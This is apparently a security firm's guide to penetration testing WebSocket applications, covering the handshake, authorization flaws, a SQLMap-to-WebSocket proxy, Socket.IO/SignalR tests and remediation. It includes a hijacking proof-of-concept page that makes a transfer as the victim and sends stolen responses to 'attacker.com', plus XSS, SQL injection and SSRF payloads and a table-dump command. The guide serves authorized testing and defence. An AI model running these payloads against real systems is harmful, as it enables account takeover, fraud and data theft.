WebSocket Penetration Testing
The Complete Guide
A step-by-step methodology for finding vulnerabilities in real-time applications. With working code you can use on your next engagement.
WebSocket vulnerabilities are some of the most overlooked findings in application security. Automated scanners skip them. Many pentest firms do too. This guide is the methodology we use internally at Voke Cyber when testing real-time applications — published so you can use it on your own engagements.
Everything below is actionable. The code examples work. The proxy scripts are production-grade. Copy them, adapt them, use them.
1. The WebSocket Protocol
HTTP is request-response. Client asks, server answers, connection closes. WebSockets replace this with a persistent, full-duplex channel. Once established, either side can send messages at any time without waiting for the other.
The connection starts as a normal HTTP request with an Upgrade header. The server responds with 101 Switching Protocols, and the connection is promoted from HTTP to the WebSocket frame protocol over the same TCP connection. Here is what the handshake looks like on the wire:
GET /ws HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://target.com
Cookie: session=abc123
Server Response ←
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
After the 101, communication switches to binary WebSocket frames. Two URI schemes: ws:// (unencrypted) and wss:// (TLS). Never use ws:// in production.
WebSockets appear in chat systems, live dashboards, trading platforms, multiplayer games, collaborative editors, IoT telemetry, and notification systems. Any feature with real-time bidirectional data is a candidate. RFC 6455 defines the protocol.
The core problem for security testing: automated web scanners cannot test WebSockets. They crawl HTTP endpoints, submit forms, fuzz query parameters. They do not speak the WebSocket protocol. If your security testing stops at HTTP, every WebSocket endpoint in the application is untested.
2. The Attack Surface
WebSocket security breaks down into two phases: the handshake and the message channel. Most vulnerabilities live in the message channel because developers secure the handshake and then trust the connection.
Authentication at the Handshake
The handshake is an HTTP request. Authentication happens here. Three common mechanisms:
- Session cookies — The browser attaches them automatically. This is the most common pattern and the one most vulnerable to CSWSH.
- Token in query string —
wss://app.com/ws?token=eyJhbG.... Tokens may leak in server logs and referrer headers. - Token in first message — Connection opens unauthenticated, client sends a token as the first WebSocket message. The server must reject all other messages until authentication completes.
Test what happens when the handshake is replayed without credentials. Many servers accept the upgrade regardless.
Authorization After the Handshake
This is where most implementations fail. The server authenticates the user during the upgrade, then treats every message on that connection as authorized. No per-message checks. If you are authenticated, you can subscribe to any channel, access any user's data, and invoke any function exposed over the WebSocket.
Compare this to REST APIs where every endpoint has authorization middleware. WebSocket applications rarely implement the equivalent.
Input Validation
Every WebSocket message is user input. If values hit a database, you get SQL injection. If content renders in another user's DOM, you get XSS. If messages contain URLs the server fetches, you get SSRF. The attack vectors are identical to HTTP — developers just forget to apply the same defenses because WebSocket handlers feel like internal event processing.
Cross-Site WebSocket Hijacking (CSWSH)
The WebSocket equivalent of CSRF, but worse. If the server does not validate the Origin header, an attacker's page can open a WebSocket to the target using the victim's cookies. Unlike CSRF, CSWSH gives the attacker a bidirectional channel — they can send actions and exfiltrate data in real time.
Denial of Service
WebSocket connections are persistent. Each consumes memory, file descriptors, and CPU. Without connection limits, message size caps, and rate limiting, an attacker can exhaust server capacity.
Key Takeaway
The handshake is where authentication happens. The message channel is where authorization is typically missing. Testing only the handshake and ignoring per-message security is the most common gap in WebSocket implementations.
3. Testing Methodology
This is the step-by-step approach we use when testing WebSocket implementations during web application and API penetration tests.
Step 1: Reconnaissance
Find every WebSocket endpoint. Open browser DevTools → Network → filter by "WS". Use the application and watch for connections. Search JavaScript source for new WebSocket(, io( (Socket.IO), SockJS, or signalR.
// Run in browser console
document.querySelectorAll('script[src]').forEach(s => {
fetch(s.src).then(r => r.text()).then(code => {
const wsUrls = code.match(/wss?:\/\/[^\s'"]+/g);
const ioInit = code.match(/io\s*\(['"](.*?)['"]/g);
if (wsUrls) console.log('[WS]', s.src, wsUrls);
if (ioInit) console.log('[Socket.IO]', s.src, ioInit);
});
});
Map the message format. Most apps use JSON. Some use Protocol Buffers, MessagePack, or custom binary formats. Document every message type: subscription requests, queries, RPC calls, heartbeats.
Identify the auth mechanism. Inspect the handshake in DevTools or Burp. Note whether auth uses cookies, URL tokens, first-message tokens, or nothing.
Step 2: Authentication Testing
- No auth: Connect without any credentials. If you can send and receive messages, the endpoint is open.
- Token validation: Connect with an expired token, another user's token, or a malformed token.
- Session expiration: Authenticate, open a WebSocket, then log out in another tab. Does the WebSocket stay alive? Most apps never re-validate after the handshake.
- Transport: Confirm
wss://is enforced. Check if the server acceptsws://too.
Step 3: Authorization Testing
This is where the critical findings live.
- Horizontal escalation: Change user IDs, account IDs, or resource IDs in messages. Subscribe to another user's channel. Request another user's data. If the server returns it, you have broken access control.
- Vertical escalation: Send admin-level messages from a regular account. Test every message type for role enforcement.
- Channel access: In pub/sub architectures, subscribe to internal channels, admin feeds, and other organizations' data streams.
Step 4: Input Validation Testing
Every field in every message is an injection point.
- XSS: Send
<img src=x onerror=alert(1)>in message content rendered to other users. - SQL injection: Single quotes, UNION SELECT, time-based blind payloads. Use the SQLMap proxy technique described in Section 5 for thorough coverage.
- Command injection: Test messages that trigger server-side operations.
- Format violations: Malformed JSON, wrong data types, null values, multi-megabyte payloads.
- SSRF: If a message field accepts URLs, test with
http://169.254.169.254/andhttp://localhost/.
Step 5: Cross-Site WebSocket Hijacking
Check whether the server validates Origin:
# If this connects, Origin is not validated wscat -c "wss://target.com/ws" -H "Origin: https://evil.com" # websocat alternative with more control websocat -H="Origin: https://evil.com" \ -H="Cookie: session=abc123" \ wss://target.com/ws
If accepted, build a proof of concept:
HTML - CSWSH Proof of Concept<!DOCTYPE html>
<html>
<body>
<h2>CSWSH Proof of Concept</h2>
<pre id="log"></pre>
<script>
// Victim visits this page while authenticated to target.com.
// Browser attaches target.com cookies to the upgrade request.
const ws = new WebSocket("wss://target.com/ws");
const log = document.getElementById("log");
ws.onopen = () => {
log.textContent += "[+] Connected as victim\n";
// Read victim's data
ws.send(JSON.stringify({action: "get_profile"}));
// Perform actions as victim
ws.send(JSON.stringify({action: "transfer", amount: 1000, to: "attacker"}));
};
ws.onmessage = (e) => {
log.textContent += "[+] Received: " + e.data + "\n";
// Exfiltrate to attacker-controlled server
navigator.sendBeacon("https://attacker.com/collect", e.data);
};
ws.onerror = () => log.textContent += "[-] Connection failed\n";
</script>
</body>
</html>
Check SameSite cookie attributes too. SameSite=Strict or Lax prevents the browser from attaching cookies to cross-origin WebSocket handshakes. But relying on SameSite alone without Origin validation is a defense-in-depth failure.
Step 6: Business Logic Testing
- Race conditions: Send the same message concurrently from multiple connections. Can you execute a trade twice? Double-spend?
- Message ordering: Skip initialization steps. Send "confirm" before "request".
- Replay attacks: Capture and replay valid messages. No replay protection means duplicate transactions.
- Rate limiting: Send hundreds of messages per second. Most WebSocket servers have zero rate limiting.
4. Tools
Burp Suite
WebSockets history tab shows every message. Repeater lets you modify and resend individual messages. Enable WebSocket interception in Proxy settings for real-time tampering. Match-and-replace rules work on WebSocket messages — useful for automating ID swaps during authorization testing.
Browser DevTools
Network tab → filter "WS" → click a connection → Messages tab. Shows every frame with timestamp, direction, and payload. Fastest way to map the message protocol during recon.
wscat
Simple Node.js CLI WebSocket client. Good for quick manual testing.
Bash# Connect with a session cookie wscat -c "wss://target.com/ws" -H "Cookie: session=abc123" # Connect with a Bearer token wscat -c "wss://target.com/ws" -H "Authorization: Bearer eyJhbG..."
websocat
More powerful than wscat. Written in Rust. Supports piping, custom headers, binary frames, and chaining with other Unix tools.
Bash# Send a single message and print the response
echo '{"action":"get_users"}' | websocat -1 \
-H="Cookie: session=abc123" \
wss://target.com/ws
# Pipe messages from a file (one JSON per line)
cat payloads.jsonl | websocat \
-H="Cookie: session=abc123" \
wss://target.com/ws
# Connect to two WebSockets and bridge them (useful for MITM)
websocat -b ws-l:127.0.0.1:9001 wss://target.com/ws
Python websockets Library
For automated testing, multi-step sequences, and custom fuzzing:
Python - Automated WebSocket Test Scriptimport asyncio
import websockets
import json
TARGET = "wss://target.com/ws"
COOKIES = {"Cookie": "session=abc123"}
async def test():
async with websockets.connect(TARGET, extra_headers=COOKIES) as ws:
# Authorization: request another user's data
await ws.send(json.dumps({"action": "get_profile", "user_id": "9999"}))
print(f"[AuthZ] {await ws.recv()}")
# XSS: inject into a message field
await ws.send(json.dumps({
"action": "send_message",
"content": "<img src=x onerror=alert(document.domain)>"
}))
print(f"[XSS] {await ws.recv()}")
# SQLi: basic detection
await ws.send(json.dumps({"action": "search", "query": "' OR '1'='1' --"}))
print(f"[SQLi] {await ws.recv()}")
# DoS: oversized message
try:
await ws.send(json.dumps({"action": "ping", "data": "A" * 10_000_000}))
print(f"[Size] {await asyncio.wait_for(ws.recv(), timeout=5)}")
except Exception as e:
print(f"[Size] {e}")
asyncio.run(test())
5. SQLMap Over WebSockets
SQLMap is the standard for automated SQL injection testing, but it only speaks HTTP. The solution: a middleware proxy that translates between HTTP and WebSocket. SQLMap sends payloads as HTTP requests, the proxy forwards them as WebSocket messages, and the response comes back as HTTP.
This unlocks SQLMap's full detection engine — time-based blind, boolean-based blind, UNION, error-based, stacked queries — against any WebSocket parameter that touches a database.
Python - ws_proxy.pyimport asyncio
import websockets
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
# ---- CONFIGURE THESE PER ENGAGEMENT ----
WS_URL = "wss://target.com/ws"
WS_COOKIE = "session=abc123"
# The WebSocket message template.
# INJECT_HERE is replaced with the SQLMap payload.
def build_message(payload):
return json.dumps({
"action": "get_record",
"id": payload # <-- injection point
})
# -----------------------------------------
class ProxyHandler(BaseHTTPRequestHandler):
def do_GET(self):
# SQLMap sends the payload as ?id=PAYLOAD
params = parse_qs(urlparse(self.path).query)
payload = params.get("id", ["1"])[0]
# Forward over WebSocket
result = asyncio.run(self._ws_send(build_message(payload)))
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(result.encode())
async def _ws_send(self, message):
async with websockets.connect(
WS_URL, extra_headers={"Cookie": WS_COOKIE}
) as ws:
await ws.send(message)
return await ws.recv()
def log_message(self, *args):
pass # suppress request logging
if __name__ == "__main__":
port = 8080
print(f"[*] Proxy listening on http://127.0.0.1:{port}")
print(f"[*] Forwarding to {WS_URL}")
HTTPServer(("127.0.0.1", port), ProxyHandler).serve_forever()
Run the proxy, then point SQLMap at it:
Bash# Terminal 1: start the proxy python3 ws_proxy.py # Terminal 2: run SQLMap against the proxy sqlmap -u "http://127.0.0.1:8080/?id=1" \ --batch \ --level=3 \ --risk=2 \ --dbs # For time-based blind (useful when responses are identical) sqlmap -u "http://127.0.0.1:8080/?id=1" \ --batch \ --technique=T \ --time-sec=3 # Dump a specific table after discovery sqlmap -u "http://127.0.0.1:8080/?id=1" \ --batch \ -D appdb -T users --dump
SQLMap has no idea it is talking to a WebSocket. It sees a normal HTTP endpoint. Every technique it supports works transparently.
Adapting the proxy. The build_message() function is the only thing you change per engagement. Modify it to match the target's message schema. If you need to test multiple parameters, run multiple proxy instances on different ports or add a path-based router.
Performance Note
The proxy opens a new WebSocket connection for each HTTP request. This is intentional — it avoids state management issues between SQLMap's requests. For time-based blind injection, set --time-sec=3 or higher to account for the connection overhead. If the target rate-limits WebSocket connections, add a short sleep in _ws_send.
6. Bridging HTTP Tools to WebSockets
The middleware proxy pattern is not limited to SQLMap. Any HTTP-based security tool can be redirected through the same proxy:
- Burp Intruder — Point Intruder at the proxy to fuzz WebSocket parameters with custom payloads at scale. Use Pitchfork mode for multi-parameter testing.
- ffuf — Fuzz WebSocket parameters with the same wordlists you use against HTTP endpoints.
ffuf -u http://127.0.0.1:8080/?id=FUZZ -w ids.txt - Nuclei — Write custom templates targeting the proxy endpoint to automate WebSocket checks across multiple targets.
- tplmap — Test for server-side template injection through WebSocket parameters.
- Commix — Test for command injection through the same proxy.
The proxy turns any WebSocket endpoint into an HTTP endpoint. This unlocks the entire HTTP security testing toolkit against a protocol that was previously manual-only.
Key Takeaway
You do not need WebSocket-native tools for every test. The middleware proxy pattern lets you use SQLMap, Burp Intruder, ffuf, Nuclei, and any other HTTP tool against WebSocket parameters. Write one proxy per engagement, tailored to the target's message schema.
7. Testing Socket.IO, SockJS, and SignalR
Most real-time applications do not use raw WebSockets. They use a library that adds features on top of the protocol. Each library has its own security considerations.
Socket.IO
Socket.IO is the most popular WebSocket abstraction. It adds automatic reconnection, rooms, namespaces, and an event-based API. It also adds an HTTP long-polling fallback — if WebSocket fails, it falls back to XHR polling. Both transports need testing.
Socket.IO messages have a specific encoding. Event messages start with 42 followed by a JSON array: 42["event_name", {data}]. Acknowledgment messages start with 43. Understanding this encoding is required for manual message crafting.
# In browser DevTools, Socket.IO messages look like:
# → 42["join_room",{"room_id":"abc123"}]
# ← 42["room_data",{"users":["alice","bob"]}]
# → 42["send_message",{"room_id":"abc123","text":"hello"}]
# The "42" prefix = Engine.IO message type (4) + Socket.IO packet type (2)
# 0 = connect, 1 = disconnect, 2 = event, 3 = ack, 4 = error
Socket.IO-specific tests:
- Namespace access: Socket.IO supports namespaces (
/admin,/internal). Connect to namespaces you should not have access to. Many apps authenticate the default namespace but forget custom namespaces. - Room isolation: Join rooms belonging to other users or organizations. Send messages to rooms you are not a member of.
- Event handler authorization: Each event name maps to a server-side handler. Test if every handler checks authorization independently.
- HTTP fallback: Force the connection to use long-polling instead of WebSocket (append
?transport=polling). Test the polling endpoints for the same vulnerabilities. Some apps only secure the WebSocket transport.
import socketio
sio = socketio.Client()
@sio.on('connect')
def on_connect():
print('[+] Connected')
# Test: access another user's room
sio.emit('join_room', {'room_id': 'admin-dashboard'})
# Test: call an admin-only event
sio.emit('delete_user', {'user_id': '12345'})
@sio.on('*')
def catch_all(event, data):
print(f'[+] {event}: {data}')
sio.connect('https://target.com', headers={'Cookie': 'session=abc123'})
sio.wait()
SockJS
SockJS provides a WebSocket-like API with multiple fallbacks (XHR streaming, XHR polling, EventSource, JSONP polling). Key testing considerations:
- SockJS exposes an
/infoendpoint that reveals supported transports and server configuration. Check it:GET /sockjs/info - Test every fallback transport, not just WebSocket. JSONP polling endpoints are particularly interesting — JSONP callbacks may be injectable.
- SockJS wraps messages in its own framing (
a["message"]format). Account for this when crafting payloads.
SignalR
Microsoft's SignalR uses a negotiate endpoint (/negotiate) to establish the connection. This endpoint returns a connection ID and supported transports. Testing considerations:
- The negotiate endpoint itself may leak server information (transport types, connection tokens).
- SignalR supports hub methods — server-side functions invoked by name. Test if all hub methods enforce authorization.
- Connection tokens from negotiate may be reusable or predictable. Test token entropy and expiration.
- Test the long-polling and Server-Sent Events fallbacks in addition to WebSocket.
8. Common Findings
Ranked by how often we report them:
1. No Origin validation. The server accepts handshakes from any Origin. Vulnerable to CSWSH. The most common WebSocket finding. Severity: High.
2. No per-message authorization. The server checks auth at the handshake and then trusts every message. Users can access other users' data and invoke privileged functions. Severity: Critical.
3. IDOR through WebSocket messages. Client sends user/account/resource IDs in messages. Server uses them without verifying ownership. The WebSocket equivalent of BOLA. Severity: High to Critical.
4. No rate limiting. Unlimited messages at any speed. Enables brute-force, scraping, and message flood DoS. Severity: Medium.
5. Unencrypted transport. Using ws:// instead of wss://. Session tokens and data transmitted in plaintext. Severity: High.
6. Stored XSS via WebSocket. Message content rendered in other users' DOM without sanitization. Especially common in chat features. Severity: High.
7. SQL injection via WebSocket. Message parameters passed to database queries without parameterization. Often missed because scanners do not test WebSocket inputs. Severity: Critical.
8. Session fixation after logout. WebSocket connections stay alive after the user's HTTP session is invalidated. The server never pushes a disconnect when the session expires. Severity: Medium.
9. No connection limits. No cap on concurrent connections per user or IP. Enables connection exhaustion DoS. Severity: Medium.
9. Remediation Guidance
Validate Origin on Every Handshake
Check the Origin header against a whitelist of allowed domains. Reject missing, null, or unrecognized origins. Implement this in your WebSocket server code, not just a reverse proxy.
Implement Per-Message Authorization
Every message handler must verify the authenticated user has permission for the requested action and resource. Treat the connection as a transport layer, not a trust boundary. Apply the same RBAC you enforce on REST endpoints.
Enforce wss:// Only
Reject ws:// connections. If behind a load balancer, ensure TLS terminates correctly and the backend link is also encrypted or on a trusted network.
Sanitize Before DOM Rendering
Never use innerHTML with WebSocket message content. Use textContent for plain text. Use DOMPurify for rich content. Apply the same output encoding as any user-generated content.
Rate Limit and Cap Message Size
Set a max message size (most WS server libraries support this natively). Implement per-connection rate limiting. Set a max concurrent connection count per user and per IP.
Enforce Session Lifecycle
When a session expires or is revoked, actively close the WebSocket from the server side. Implement ping/pong for dead connection detection. Set idle timeouts.
Validate Origin + CSRF Token Together
For cookie-based auth, combine Origin validation with a CSRF token passed as a query parameter or first message. Defense in depth: if Origin validation is bypassed, the CSRF token still blocks hijacking.
Key Takeaway
Per-message authorization is the highest-impact fix. Origin validation prevents CSWSH. TLS prevents interception. Input sanitization prevents injection. But per-message authorization prevents authenticated users from accessing data they should not have — and it is the control missing most often.
Need WebSocket Security Testing?
We test real-time applications the way attackers target them. Manual testing of every WebSocket endpoint — not just the HTTP surface.